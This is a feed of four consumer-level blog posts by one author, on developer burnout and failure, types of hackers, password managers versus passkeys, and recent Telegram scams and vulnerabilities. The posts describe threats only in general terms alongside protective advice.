DEV Community: Scofield Idehen

Failed Technology: What Famous Tech Failures Teach Developers About Coping With Failure

Scofield Idehen — Tue, 29 Sep 2026 15:14:14 +0000

Quibi raised about $1.75 billion and shut down within six months. Knight Capital lost roughly $440 million in 45 minutes because of a single deployment error.

Failed technology is everywhere in tech history. Quibi raised about $1.75 billion and shut down within six months. Knight Capital lost roughly $440 million in 45 minutes because of a single developer deployment error.

Behind every one of these headline failures are developers who wrote the code, missed the warning signs, or were pushed to ship before they were ready, and who then had to live with the fallout.

Programmers and developers constantly encounter failure, affecting their mental health and focus. Having serious deadlines or bugs that are impossible to break can put developers under intense stress.

While some have mechanisms for alleviating such tension, others might not have that kind of resolve.

According to a 2021 survey by Blind, an anonymous social network for tech professionals, 42% of software engineers reported working over 50 hours per week on average, with 11% reporting working over 70 hours per week.

This high-pressure environment has led some to turn to drugs, others to quit, and many more are just hanging on, leading to depression and, in extreme cases, suicide.

The tech industry's relationship with drugs has been a topic of concern, with some developers addicted to substances to meet deadlines and maintain focus. This dark side of the tech world raises important questions about work culture, productivity expectations, and the human cost of innovation.

Check out this deep insight into Tech and Drugs: The Dark Side of Tech

How do you cope with failure?

The Reality of Failure in Tech

The tech industry, particularly the startup ecosystem, is notorious for its high failure rates and the toll it takes on developers and entrepreneurs. Several studies and surveys have shed light on the prevalence of failure and its impact.

According to a report by Startup Genome, about 90% of startups fail, with 10% failing within the first year. This high failure rate creates an environment of constant pressure and uncertainty for startup developers.
CB Insights found that the top reason for startup failure (cited by 38% of failed startups) was running out of cash or failing to raise new capital. This financial pressure often translates into intense stress for developers who are expected to deliver results quickly and efficiently.
A study by the University of California, Berkeley, revealed that 72% of entrepreneurs report mental health concerns. Among founders, 49% reported dealing with at least one mental health condition, and 32% reported two or more mental health issues.
The "Startup Failure Rate" report by Failory indicates that the tech industry has one of the highest failure rates among all industries, with only 10% of tech startups succeeding in the long run.
A survey by First Round Capital found that 70% of founders report that running a startup has a negative impact on their health, and 68% report that it's negatively affected their personal relationships.

These statistics paint a sobering picture of the failure landscape in the tech industry, particularly for startups. The pressure to innovate, secure funding, and achieve rapid growth can take a significant toll on developers' well-being and mental health.

Understanding the Sources of Failure

To effectively manage failure in the tech industry, it's crucial to understand its root causes. Several factors contribute to the high-pressure environment that can lead to failure.

Rapid Technological Changes

The tech world evolves at a breakneck pace. New languages, frameworks, and tools emerge constantly, requiring developers to keep learning and adapting to different terrain.

This perpetual state of learning can be exhilarating but also overwhelming. Failure often stems from the inability to keep up with these rapid changes, leading to outdated skills or missed opportunities.

Most developers become a jack-of-all-trades and masters of none.

Unrealistic Expectations and Perfectionism

The tech industry often glorifies exceptional performance and groundbreaking innovations. This culture can lead to unrealistic self-expectations and a fear of making mistakes.

Developers may set impossibly high standards for themselves, viewing anything short of perfection as a failure. This mindset can paralyze progress and lead to missed deadlines or abandoned projects.

Most tech organizations set unrealistic goals and timelines for recruits, creating pressure that can affect their mental health.

Market Volatility and Product-Market Fit

A promising product during development may become obsolete after launch.

Failure to achieve product-market fit is a common reason for project and startup failures.

Developers may invest significant time and effort into building solutions that don't resonate with users or solve real-world problems.

If you have ever seen a developer or group of developers build an MVP and it tanked, you can imagine the financial loss, the time it took, and the impact.

Technical Debt and Scalability Issues

As projects grow and evolve, technical debt can accumulate. Poor early architectural decisions made early on can lead to significant challenges.

Failure often occurs when systems can't scale to meet increasing demands or when maintaining and updating legacy code becomes unsustainable.

Team Dynamics and Communication Breakdowns

Software development is often collaborative. Failures can arise from poor team dynamics, miscommunication, or misalignment of goals. When team members aren't on the same page or are unclear about leadership and direction, projects can quickly derail.

Strategies for Managing and Learning from Failure

Failure is an inevitable part of a developer's journey in tech. The key is not to avoid failure but to learn from it and use it as a stepping stone for growth. Here are some effective strategies for managing and learning from failure.

Embrace a Growth Mindset

Believe that abilities and intelligence can be developed through effort and learning. Instead of viewing failures as insurmountable obstacles, see them as opportunities for growth. Reframe negative self-talk: Instead of "I'm not good enough to solve this problem," try "I haven't solved this problem yet, but I'm learning."

Do not Die on a Mountain

After a failure, conduct a detailed analysis of what went wrong. Be objective and avoid placing blame. Identify the root causes, document the lessons learned, and develop actionable plans to prevent similar issues. Share these insights with your team to foster a culture of continuous improvement.

Build Resilience Through Incremental Challenges

Start with smaller, manageable challenges and gradually increase the difficulty. This approach helps build confidence and resilience over time. Celebrate small victories along the way, acknowledging the effort and learning that goes into each attempt, regardless of the outcome.

Cultivate a Strong Support Network

Surround yourself with supportive colleagues, mentors, and peers. Join developer communities or user groups where you can share experiences and learn from others who have faced similar challenges. Don't hesitate to seek guidance or share your struggles often; others have valuable insights to offer.

Practice Continuous Learning and Adaptation

Stay current with industry trends and technologies, but be strategic about what you choose to learn. Focus on fundamental concepts and principles that transcend specific tools or frameworks. Allocate time for experimentation and side projects to explore new ideas without the pressure of work deadlines.

Develop a Failure Résumé

Alongside your traditional résumé, maintain a "failure résumé" that documents your setbacks, what you learned from them, and how they contributed to your growth. This practice reframes failures as valuable experiences and boosts your resilience when facing new challenges.

Implement Agile Methodologies

Adopt agile development practices emphasizing iterative development, frequent feedback, and adaptability. This approach can help catch potential failures early and allow course corrections before they become major issues.

By understanding the sources of failure and implementing these strategies, developers can build resilience, continually improve their skills, and transform setbacks into opportunities for growth and innovation. Remember, in the tech world, failure is not the opposite of success – it's often a necessary step toward success.

Conclusion

Managing failure and stress in the tech industry is an ongoing challenge that requires effort from both individuals and organizations. By implementing effective coping strategies, fostering a supportive work environment, and prioritizing mental health, developers can survive and thrive in this high-pressure field.

Remember, it's not about eliminating failure – some level of failure can motivate and lead to growth. The key is to build resilience and healthy coping mechanisms that help you navigate the challenges of a tech career without sacrificing your well-being.

Additional Resources

For those seeking further support or information, consider exploring the following resources:

Who is a Hacker?

Scofield Idehen — Thu, 24 Sep 2026 15:38:22 +0000

Imagine the feeling after being able to hack into the NASA center and copy all their files about an alien invasion. The feeling is wide and unimaginable, but this is the thought process of most people…

Imagine the feeling of hacking into the National Aeronautics and Space Administration (NASA) center and copying all their files about aliens (if they exist). The feeling is vast and unimaginable, but this is the mindset of most people who believe that when the term hacker is mentioned, it means something bad.

Who are Hackers, what makes them unique, why are they so revered, and how does one become a hacker?

In this article, we will explore the Silk Road (Dark Web) of hacking and what it means to become a hacker.

But first, who is a hacker?

Defining the Hacker

The term "hacker" has undergone significant evolution since its inception, much like the associated technology. Originally coined in the 1960s, a hacker was simply a skilled programmer who could optimize computer code effectively.

The definition above reflected an era of limited computing resources, where such optimization was crucial.

Today, the term encompasses a much broader spectrum of individuals with an advanced understanding of computers, networking, programming, and hardware. At its core, hacking involves using technical skills to overcome challenges or gain access to systems, often in unconventional ways . However, the intent behind these actions has become a key factor in how hackers are perceived and categorized.

The Evolution of Hacking

The journey of hacking from a niche hobby to a global phenomenon mirrors the explosive growth of digital technology itself. In the early days of computing, hacking was often seen as a badge of honor among tech enthusiasts, representing creativity and out-of-the-box thinking.

The phone phreakers of the 1970s, who manipulated telephone systems to make free calls, are often considered precursors to modern hackers.

As personal computers became more prevalent in the 1980s, so did the potential for malicious hacking. The first computer viruses emerged during this time, marking the beginning of a new era in digital security threats.

The 1990s, with the rise of the internet, catapulted hacking into the mainstream consciousness. High-profile incidents like the Morris Worm in 1988 brought cybersecurity concerns to the forefront of public attention.

The turn of the millennium saw hacking evolve into a multi-faceted phenomenon. State-sponsored hacking, hacktivism, and large-scale data breaches became part of the global dialogue.

The advent of smartphones and the Internet of Things (IoT) has further expanded the playground for hackers, presenting new challenges and opportunities in equal measure.

Types of Hackers

The hacking community is far from monolithic. While popular media often portrays hackers as shadowy criminals, the reality is much more nuanced . The security community has traditionally used a color-coded system to categorize different types of hackers, though some of these terms have been updated to reflect cultural changes:

Ethical Hackers

Formerly White Hat Hackers : These are the guardians of the digital realm. Ethical hackers use their skills to improve cybersecurity, often working as penetration testers or security consultants. They operate with explicit permission, identifying vulnerabilities so they can be fixed before malicious actors exploit them.

Threat Actors

Formerly Black Hat Hackers : On the opposite end of the spectrum are those who use their skills maliciously. Threat actors intentionally violate computer security for personal gain, vandalism, or other harmful intentions. Their activities range from stealing personal data to corporate espionage and large-scale ransomware attacks.

Gray Hat Hackers

Occupying a moral middle ground, gray hat hackers may sometimes violate laws or ethical standards, but without malicious intent. They might, for example, identify a security flaw in a company's system without permission and then offer to fix it for a fee.

Hacktivists

These are individuals or groups who use hacking as a form of political activism. They often aim to bring attention to social or political issues by targeting organizations they perceive as unethical or oppressive.

Script Kiddies
Often young or inexperienced hackers, script kiddies typically lack the skills to write their own code. Instead, they use pre-written scripts or programs to launch attacks, often causing more nuisance than serious damage.

Red Hat Hackers

Also known as eagle-eyed hackers, these individuals take an aggressive stance against threat actors. While their intentions may be similar to ethical hackers, their methods can be more extreme and sometimes border on vigilantism.

Blue Hat Hackers

These individuals use hacking as a means of revenge, often targeting specific individuals or organizations that they feel have wronged them.

This diversity within the hacking community reflects the complex relationship between technology, ethics, and society. It also highlights the importance of intent when discussing hacking activities.

Hacking Techniques You Should Know

Hacking methodologies are as diverse as the hackers themselves, constantly evolving to keep pace with advancing cybersecurity measures. Some common techniques include:

Phishing: This social engineering attack tricks users into revealing sensitive information by masquerading as a trustworthy entity. Sophisticated phishing attempts can be remarkably convincing, highlighting the importance of user education in cybersecurity.
Malware Injection: Hackers may insert malicious code into legitimate software or websites. This can take various forms, including viruses, worms, and Trojan horses. The goal might be to steal data, create a backdoor for future access, or simply cause disruption.
Distributed Denial of Service (DDoS) Attacks: By overwhelming a target system with traffic from multiple sources, hackers can make services or networks unavailable to users. These attacks can be used for extortion, activism, or competitive sabotage.
SQL Injection: This technique exploits vulnerabilities in database management systems. By inserting malicious SQL statements into application queries, hackers can manipulate or retrieve data from the database.
Man-in-the-Middle (MitM) Attacks: Here, the attacker secretly relays and possibly alters communication between two parties who believe they are directly communicating with each other. This can be used to steal data or impersonate one of the parties.
Zero-Day Exploits: These attacks take advantage of previously unknown vulnerabilities in software or systems. They're particularly dangerous because there's no patch available at the time of exploitation.
Password Attacks: From brute force attempts to more sophisticated dictionary attacks, cracking passwords remains a common goal for many hackers.
Social Engineering: Not all hacking is purely technical. Social engineering involves manipulating people into divulging confidential information or granting access to secure systems.

Understanding these techniques is crucial not just for aspiring ethical hackers but for anyone involved in cybersecurity or IT management.

The Rise of Ethical Hacking

As the threat landscape has evolved, so too has the role of ethical hackers in protecting digital assets.

Top organizations now actively seek out the expertise of these "white hat" professionals to test their defenses and identify vulnerabilities before malicious actors can exploit them.

Ethical hacking has given rise to several important practices in the cybersecurity industry:

Penetration Testing: Also known as "pen testing," this involves simulating cyberattacks to evaluate the security of a system. Ethical hackers use the same tools and techniques as threat actors but do so with permission and without causing damage.

Bug Bounty Programs

Many tech companies now reward individuals who discover and responsibly report security vulnerabilities in their systems. This crowdsourced approach to security has proven highly effective in identifying obscure or complex vulnerabilities.

Security Audits: Regular, comprehensive reviews of an organization's information systems help identify potential security gaps and ensure compliance with relevant standards and regulations.

The growth of ethical hacking as a profession reflects a maturing approach to cybersecurity, one that recognizes the value of proactive defense and the importance of understanding the adversary's perspective.

Famous Hackers

The annals of hacking history are filled with colorful characters whose exploits have captured the public imagination and shaped the evolution of cybersecurity. While many of these individuals gained notoriety through illegal activities, their stories often involve redemption and a transition to ethical hacking.

Kevin Mitnick: Once one of the FBI's Most Wanted hackers, Mitnick's story is one of transformation. After serving five years in federal prison, he reinvented himself as a cybersecurity consultant and public speaker, using his experiences to educate others about information security.
Adrian Lamo: Known as the "Homeless Hacker" due to his transient lifestyle, Lamo gained fame for breaking into the networks of high-profile organizations like The New York Times and Yahoo. His story took a controversial turn when he reported U.S. Army intelligence analyst Chelsea Manning for leaking classified documents.

Jonathan James: James gained notoriety as the first juvenile to be incarcerated for cybercrime in the United States. At just 15, he hacked into several commercial and government networks, including NASA. His tragic story ended with his suicide at 25, highlighting the severe consequences that can come with hacking activities.
Anonymous: More a movement than an individual, Anonymous represents a decentralized group of hacktivists. Their activities have ranged from pranks to serious political interventions, demonstrating the power of collective hacking efforts.

Ethical Hackers: While less sensational, the stories of ethical hackers like Joanna Rutkowska, Charlie Miller, and Samy Kamkar are equally important. These individuals have contributed significantly to cybersecurity, often by demonstrating critical vulnerabilities in widely-used systems.

These stories underscore the fine line between brilliance and criminality in the world of hacking and the potential for skills to be redirected toward positive ends.

Do not use simple and easy-to-guess passwords, as there are tools such as password crackers that can crack these passwords. I wrote an article on Build Your First Password Cracker .

The Future of Hacking

As we look to the future, several trends are likely to shape the evolution of hacking:

Artificial Intelligence and Machine Learning: Both defensive and offensive hacking techniques increasingly leverage AI. This could lead to more sophisticated automated attacks, but also more robust automated defenses.

Internet of Things (IoT): The proliferation of connected devices presents a vast new attack surface for hackers. Securing these often poorly-protected devices will be a major challenge.

Quantum Computing: While still in its infancy, quantum computing has the potential to break many current encryption methods, necessitating the development of quantum-resistant cryptography.

Cloud Security: As more organizations move their operations to the cloud, securing these environments will become increasingly critical.

Cybersecurity Skills Gap: The demand for skilled cybersecurity professionals, including ethical hackers, will continue growing, potentially outpacing the available talent pool.

Regulatory Environment: Increasing government regulation around data protection and cybersecurity is likely to impact how organizations approach security and how hackers operate.

Wanna get started with hacking find out the Best Hacking Tools for Beginners in 2026

Conclusion

Hacking, like any powerful tool, is neither inherently good nor evil. Its impact depends entirely on the intentions and actions of the individual wielding it. As our world becomes increasingly digital, the role of hackers – both ethical and malicious – will only grow in importance.

As we move forward, the challenge will be to harness the creativity and problem-solving skills exemplified by the hacking mindset while mitigating the risks posed by those who would use these skills for harm. In this ongoing digital arms race, education, vigilance, and ethical considerations will be our most powerful weapons.

Password Manager vs. Passkey: What You Should Actually Use in 2026

Scofield Idehen — Wed, 23 Sep 2026 13:57:19 +0000

Quick answer: Both. Password managers are still essential for most accounts; passkeys are the future for those that support them; and using them together is how you stay secure in 2026.

In today’s advanced security architecture, every login screen is pushing you toward passkeys, and password managers are scrambling to keep up. Both are pitched as the answer to the same problem, and most people have no idea whether they should use one, the other, or both. Here’s what each one actually protects against, where passkeys still fall short, and the setup that makes sense for your accounts right now.

The FIDO Alliance's 2026 World Passkey Day reportputs passkey use at 5 billion worldwide, with 75 percent of people having enabled one on at least one account. But look at the other side of the same year: a March 2026 report from HYPR found that 76 percent of organizations still rely on passwords as their primary login method, and Verizon's 2025 Data Breach Investigations Report found compromised passwords involved in 88 percent of web application breaches. Passkeys are winning the argument. Passwords are still winning the actual internet.

The Real Difference Between Them

A password is a shared secret. You know it, the website stores it, and every login transmits that secret across the network to be verified. A password manager generates unique, complex passwords for each site and stores them encrypted behind one master password you actually remember.

6 Ways to Protect Your Personal Information Online in 2026https://catcham.xyz/#/story/6-ways-to-protect-your-personal-information-online-master-guide (MasterGuide)

A passkey is not a secret at all. Your device creates a cryptographic key pair specific to one website. The private key never leaves your device. The public key sits on the website's server. Logging in proves your device holds the matching private key, usually by fingerprint, face unlock, or PIN. Nothing reusable ever crosses the network, which is why passkeys cannot be phished, guessed, or leaked in a database breach.

What A Password Manager

A password manager is software that solves the human problem passwords create. Since you can’t possibly remember 100+ unique, complex passwords, a password manager generates them for you, stores them encrypted behind one master password, and auto-fills them when you need to log in. It’s the compromise between security and sanity: you remember one strong password, the manager remembers everything else.

More importantly, a password manager makes you harder to breach even when password databases get compromised. If you reuse passwords across sites (most people do), one breach exposes your entire digital life. A unique password on every site means a breach at Site A tells attackers nothing about your account at Site B. A password manager enforces that uniqueness automatically.

This is where password managers and passkeys coexist: password managers protect your passwords until the sites you care about support passkeys. Then you layer passkeys on top for the high-value accounts. For the rest- the sites that will never adopt passkeys- a password manager is your permanent solution.

How Password Managers Actually Work

A password manager is an encrypted vault. You create one strong master password, and the app handles everything else. It generates long, random passwords for every site you use, stores them encrypted, and autofills them when you log in.

The core security win: you stop reusing passwords. Password reuse is one of the most common reasons accounts get compromised. When one site gets breached, attackers try those credentials everywhere. A password manager kills that risk because every password is unique.

Good options like Bitwarden, 1Password, and others sync across devices, work in every browser, and support Windows, Mac, iOS, and Android. Bitwarden's free tier is solid enough for most individuals.

Where password managers fall short: They rely on you using a strong password. If you manually type in a weak password or ignore the generator, the manager cannot save you. Autofill reduces phishing risk, but a convincing fake login page can still trick users into manually entering credentials.

Top 5 Best Password Managers

BITWARDEN

Best for: Open-source advocates, value, small teams

Bitwarden is open source, audited, and offers a genuinely unlimited free tier. The free plan includes unlimited password storage across unlimited devices, and Premium costs just $1.65/month billed annually. Cross-device sync, breach monitoring, and secure sharing all included. If budget is a concern and you don't need advanced team controls, this is the most logical choice.

1PASSWORD

Best for: Polished UX, developers, power users

1Password is priced at $2.99–$3.99/month for individuals and includes a Secret Key architecture, SSH agent, and CLI for secrets automation. The interface is genuinely intuitive, and the feature set goes beyond passwords into SSH keys, software licenses, and sensitive documents. Watchtower alerts flag if your stored passwords appear in known breaches.

KEEPER

Best for: Enterprises, compliance, BreachWatch

Keeper is designed for regulated industries and enterprises, priced at $3.75–$5/user/month with features like BreachWatch monitoring that constantly scans the dark web for breached passwords and zero-knowledge encryption. Includes FedRAMP Moderate certification and advanced reporting for IT administrators.

DASHLANE

Best for: All-in-one security bundles

Dashlane bundles password management with integrated VPN and dark web monitoring, priced at $4.99–$8.99/month. If you want password management, identity protection, and a VPN in one tool, this consolidates the stack. Offers strong form-filling and autofill capabilities.

PROTON PASS

Best for: Privacy, email aliasing

Proton Pass cut its price in half in 2026 to undercut competitors and integrates unlimited hide-my-email aliases for privacy-first users. Free tier available. Pairs seamlessly with Proton Mail and Proton VPN if you're already in their ecosystem.

The Phishing-Resistance

Password managers help with phishing by only autofilling on correct domains. If you land on paypa1.com instead of paypal.com, your manager will not autofill, a useful warning. But a distracted or determined user can still manually type credentials into a fake site.

Passkeys give you no choice. The cryptographic binding is automatic. The private key for paypal.com simply will not work on paypa1.com. Period. No human decision required.

For high-value accounts—email, banking, business tools—that difference is critical. Phishing is still the most common entry point for account takeovers and identity theft. If you are protecting business credentials or sensitive personal data, this distinction changes your entire risk profile.

What About Device Loss And Recovery

If your phone breaks and your passkeys are in iCloud Keychain or Google Password Manager, you can recover them by verifying your identity through your cloud account. That process is improving but can be slow if you have not set up recovery options in advance.

For password managers, recovery is simpler. Your vault is cloud-synced and accessible from any device once you enter your master password. The main risk is forgetting that master password.

Real talk: Write down your recovery codes and store them somewhere physical and secure. That applies to both passkeys and password managers. Do not rely on either recovery method being painless the first time you actually need it.

What You Should Actually Do In 2026

Start with a password manager. Bitwarden is free. 1Password costs ~$3/month and is worth it if you want extra polish.

Set it up on your phone and computer. Import any existing logins. Run the manager's security audit and fix any reused or weak passwords before doing anything else.

Enable passkeys on every account that supports them. Enrollment takes about 30 seconds. Start with your email, banking, and cloud storage accounts.

Keep the password manager for everything else. It will handle the remaining 95 percent of your accounts for years to come. That is not a failure. That is reality.

Enable multi-factor authentication (MFA) on anything the password manager protects. Authenticator apps like Google Authenticator or Authy are better than SMS codes. (For more on protecting accounts, see our guide on 6 Ways to Protect Your Personal Information Online.)

FOR BUSINESSES: HYBRID IS NOT A COMPROMISE

If your business runs on Microsoft 365, Google Workspace, or GitHub, your team is in a good position to adopt passkeys now. But most small and mid-size businesses have a mix of old and new tools. You might have passkey-ready Microsoft 365 sitting alongside legacy CRM or accounting software that demands a plain password.

A password manager handles the legacy side. Passkeys handle the modern side. A hybrid approach is not a compromise—it is how actual businesses operate in 2026.

Conclusion

Passkeys are genuinely better for phishing resistance and login speed on the accounts where they work. They represent where the industry is heading. But the transition is gradual, and you will be living with passwords, legacy logins, and shared business credentials for years.

A password manager is still the single best security upgrade most people and businesses can make right now. It handles the messy reality of the internet in 2026. Passkeys handle the future as it arrives, one site at a time.

Use both. Let passkeys earn more of your login life over time.

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If You Use Telegram in 2026: Read This Now

Scofield Idehen — Tue, 22 Sep 2026 07:07:50 +0000

12 Charges. 20 Years. For Refusing to Cooperate. The rise of Telegram and how the platform harbors scammers, money launderers, and all kinds of vices, and how Pavel Durov is shielding them.

In August 2025, the tech world was shaken when Telegram’s founder, Pavel Durov , was arrested in France on allegations tied to the misuse of his platform. Everyone was shocked.

For years, Telegram branded itself as the go-to app for secure, encrypted, and censorship-resistant conversations , attracting nearly a billion global users from political activists to everyday people who wanted privacy.

But privacy is a double-edged sword. While Telegram has given millions a safe space to communicate beyond government reach, its very features end-to-end encryption, anonymous accounts, and bot integration have also made it a fertile ground for cybercriminals, scammers, and even nation-state hackers .

The app isn’t just a messenger anymore; it’s a marketplace, a dark web alternative, a battlefield for digital warfare .

From sophisticated malware campaigns to simple but devastating social engineering scams, hackers are exploiting Telegram’s popularity at scale.

If you are an active user, you've likely come across one Telegram scam or another, and whether you've fallen victim or not, the scams are becoming more sophisticated, even bypassing users entirely.

With over 900 million users, Telegram is proving that popularity comes at a cost. Hackers, scammers, and even state-sponsored groups have turned the app into a prime hunting ground . From Android zero-day exploits to social engineering scams , the platform has faced one of its most dangerous years yet.

So let’s break down some of the scams and hacks currently active and what you should do immediately after reading this.

The Zero-Click Sticker Exploit

Disclosed on March 31, 2026, by Trend Micro's Zero Day Initiative, this is the most severe Telegram vulnerability to surface in years, a critical remote-code-execution flaw triggered through animated stickers on Telegram for Android and Telegram Desktop for Linux. Italy's national cybersecurity agency put it bluntly: exploiting it "could give an attacker control over the device and access to sensitive data, including messages, contacts, and active sessions." No interaction beyond receiving the sticker is required.

Security tip: Update Telegram the moment a fix ships. Until then, if you run a Telegram Business account, restrict messages to your address book or Premium users, and consider using Telegram Web in an updated browser instead of the native app.

EvilLoader

The most alarming Telegram exploit of 2025 so far is EvilLoader , a critical zero-day vulnerability that remains unpatched in Telegram for Android (v11.7.4).

The attack disguises malicious APKs as innocent video clips shared in chats. When a victim taps the file, Telegram prompts them to “open externally.” Instead of playing a video, the malware installs silently on the device, thereby gaining access to files, messages, and even financial apps.

Because Telegram has yet to fix this flaw, millions of users remain at risk . Cybercriminals are actively selling EvilLoader kits on underground forums, making this one of the biggest ongoing Telegram emergencies in 2025.

Security Tip: Never install or run files from Telegram chats unless they come from a source you personally trust.

The 200-Million-Record Leak

On January 24, 2026, a 44GB dataset compiled from three separate databases turned up on BreachForums, over 200 million Telegram user records, including names, usernames, emails, and phone numbers. A closer look found 60 million of those records tied to a much larger pool of 16 billion exposed credentials from earlier breaches. Researchers believe it's a mix of scraped Telegram data and older stolen credentials rather than one new hack, but the effect is the same: if you're in it, phishing attempts using your real name, number, and Telegram handle just got a lot more convincing.

Security tip: Enable two-step verification now. A leaked email and phone number are only dangerous to accounts that don't also require a password Telegram never sees.

CVE-2026-94488: The Desktop Export Flaw

A high-severity (CVSS 8.2) cross-site scripting bug was found in how Telegram Desktop exports chats to HTML, affecting versions 4.15.1 through 6.9.3. The dangerous part: an attacker doesn't need to be in your group to exploit it.

Forwarding a crafted message into any group is enough to plant the payload, and it fires the moment someone exports that chat. It's fixed in 6.9.4 (fully resolved in 7.0.1).

Security tip: If you're on Desktop and haven't updated in a while, do it before you next export any conversation.

AI Is Now Doing the Convincing

This is the real shift in 2026: the trust-based scams that used to take a human real time and effort to run are now automated. Fake investment groups post AI-generated charts, testimonials, and "video proof" of payouts that never happened. Bots hold entire real-time conversations posing as customer support, a brand, or a friend, and don't break character.

Most concerning is voice cloning: a message that sounds exactly like someone you know, asking you to send money urgently, generated from a few seconds of audio scraped from anywhere online. Fake "admin" accounts, sometimes AI-run, push group members toward malicious tools using the same authority cues a real moderator would.

Security tip: Treat any urgent money request as fake until verified through a second channel, a phone call, a video call, anything that isn't the same chat the request came from. AI can clone a voice; it's much harder to fake a live back-and-forth.

Criminal Marketplaces Keep Rebuilding

Telegram's black-market channels don't stay banned. Haowang Guarantee moved over $27 billion before its 2025 shutdown, and its vendors were back in business under a new name within weeks. Every ban buys a few months, not an ending. Read how that one played out.

8. SIM-Swap Account Takeovers

Phone numbers still anchor Telegram account verification, which makes SIM-swapping one of the most reliable ways to seize a high-value account outright — channel, contacts, and all, no password required.

Security tip: Ask your carrier about SIM-swap protection or move to an eSIM where you can.

Telegram Name Scam

In April 2025, LearnHub Africa exposed a fast-growing scam: the Telegram Name Scam .

Scammers exploit the hype around rare Telegram usernames, short handles, and “premium” names that can be traded or sold through platforms like Fragment . Victims are lured into “selling” or “buying” usernames but are tricked into handing over their accounts entirely.

Some scams use phishing links , while others convince users to transfer ownership temporarily , only for the account to be hijacked permanently. In many cases, scammers then demand a ransom for the return.

Unlike technical hacks, this scam relies on social engineering, manipulating human trust and greed.

Security Tip: Never transfer your Telegram username or respond to unsolicited offers. Treat your handle as securely as your password.

Lazarus Group’s Telegram Malware Campaign

The notorious North Korean Lazarus Group has upgraded its Telegram playbook for crypto investors. Operatives now pose as employees at legitimate trading firms, message targets directly, and build a real rapport before sending a link to a fake scheduling page mimicking Calendly or PicTime.

Approving that page triggers memory-resident malware that never writes to disk, so it leaves nothing for a traditional antivirus scan to find. It's a "human-in-the-loop" attack: patient, personal, and built specifically to be invisible after the fact.
Security tip: Never approve a calendar or scheduling link from someone you only just started talking to, no matter how legitimate the conversation has felt so far.

The group’s targets include:

Crypto investors
Fintech workers
High-value business professionals

Lazarus has been tied to billion-dollar heists in the past, and its adoption of Telegram makes detection and takedown efforts even harder.

Security Tip: If you handle crypto or sensitive data, use separate devices and regularly scan for malware.

Telegram Bots Weaponized by Hackers (PXA Stealer)

A Vietnamese-speaking hacking group leveraged Telegram bots to automate widespread data theft in 2025.

Their method:

Victims were tricked into downloading fake “Word” or “PDF reader” apps.
The apps carried PXA Stealer , a malware that harvested passwords, cookies, and credit cards.
Stolen data was funneled straight into Telegram bot channels , giving attackers instant access.
The credentials were resold using underground services like Sherlock and Daisy Cloud .

This hack shows how criminals weaponize Telegram’s own bot framework for industrial-scale cybercrime.

Hikka Userbot Exploit (CVE-2025-52571)

In January 2025, researchers disclosed a major flaw in the Hikka Telegram userbot—a tool used by communities for automation.

Versions below 1.6.2 contained a vulnerability that allowed unauthenticated attackers to:

Hijack the userbot
Take over the linked Telegram account
Gain control of the server, running it

This meant that anyone running outdated Hikka bots had unknowingly given hackers the keys to their accounts and servers.

Security Tip: If you use Telegram bots, keep them updated or shut them down if you don’t absolutely need them.

Criminal Channels Selling Malware & Phishing Kits

A 2025 academic study of 339 criminal Telegram channels revealed that Telegram has become a thriving black market for cybercrime:

28% of shared links led to phishing websites.
38% of executable files contained malware.
Criminals promoted their “products” with discounts, giveaways, and even customer support.

Telegram isn’t just being attacked; it’s also a hub for attackers to trade tools and recruit accomplices.

16 Billion Credentials Exposed

In June 2025, researchers discovered one of the largest leaks of login credentials ever: 16 billion usernames and passwords, stolen by infostealer malware .

Among them were countless Telegram accounts . Attackers could log into victims’ accounts directly—especially if two-factor authentication (2FA) wasn’t enabled.

This wasn’t a Telegram-specific hack but highlights how third-party breaches put Telegram users at risk .

Security Tip: Enable two-step verification in Telegram’s settings. Without it, your account is one stolen password away from takeover.

SIM-Swap Hijack: The Fall of VChK-OGPU Channel

In April 2025, one of Russia’s largest independent Telegram channels— VChK-OGPU, with over 1 million subscribers- was hijacked and deleted.

Hackers reportedly performed a SIM-swap attack , cloning the phone number linked to the account. Once inside, they seized control and wiped the channel entirely.

For high-profile accounts, SIM hijacking remains one of the biggest threats on Telegram , since phone numbers are still tied to verification.

Security Tip: Request SIM-swap protection from your carrier or use an eSIM where available.

ShinyHunters’ Extortion Campaign via Telegram

The infamous hacker collective ShinyHunters used Telegram in a high-stakes extortion scheme against the UK’s Legal Aid Agency in 2025.

They stole over two million sensitive records and threatened to leak them unless demands were met. Telegram channels became the group’s platform of choice to publicize threats and communicate ransom details.

Even though the data wasn’t released after the deadline, this case highlighted how Telegram doubles as a tool for cyber blackmail.

Social Engineering

While technical exploits grab headlines, social engineering scams are the most dangerous. They bypass firewalls and updates by targeting human psychology .

1. Impersonation Scams

In one extreme case, a crypto investor lost 783 BTC ($91 million) after being tricked by attackers impersonating hardware wallet and exchange support staff . The same tactics appear on Telegram, where scammers pose as insiders or “admins.”

2. Scam Bots

Reddit users warn of bots that phish OTPs, CVVs, and PINs directly in Telegram. Victims are tricked into clicking and entering details in seconds.

3. Personalized Deception

Scammers now use first names and tailored greetings to seem credible. One Redditor noted:

“Telegram scammer mentioned my first name… profile setup looked real enough.”

Takeaway : If it feels personal, it’s engineered.

Key Takeaways in 2026

Technical exploits (EvilLoader, Hikka, sticker flaws) expose vulnerabilities in the app itself.
Social engineering (Telegram Name Scam) proves humans are still the weakest link.
Nation-state actors (Lazarus Group) show how Telegram is part of global cyberwarfare.
Criminal marketplaces thrive openly in Telegram channels.
SIM-swaps and extortion demonstrate risks for both individuals and organizations.

How to Protect Yourself Right Now

Enable 2FA in Telegram → Settings → Privacy & Security → Two-Step Verification.
Update frequently to patch vulnerabilities.
Beware of links, files, and stickers from unknown contacts.
Avoid username trades or “premium handle” offers.
Use unique passwords with a password manager.
Protect your SIM by asking your carrier about SIM-swap locks.
Stay informed —scammers evolve faster than platforms can patch. ## Conclusion

Telegram’s growth has made it a global powerhouse, but 2025 proves it’s also a global target . From Lazarus Group’s cyber-espionage campaigns to everyday scams like the Telegram Name Scam , the threats are escalating in both scale and creativity.

The lesson is clear: Telegram is not invincible. Security is not guaranteed—it’s something every user must actively protect.

If you’re on Telegram in 2025, the time to act is now. Update, enable 2FA, and stay vigilant—because hackers are moving faster than ever.

Resource

New critical Telegram zero-click issue threatens total device compromise Data leak exposes over 200M Telegram user records CVE-2026-94488: Telegram Desktop XSS (CVSS 8.2)Lazarus Deploys RemotePE Memory-Only RAT Against Financial and Crypto Firms Lazarus Group Targets Crypto Investors on Telegram With Stealthy Malware AI-Powered Scams on WhatsApp, Instagram & Telegram (2026 Guide)Trial for Pavel Durov Set for 2026

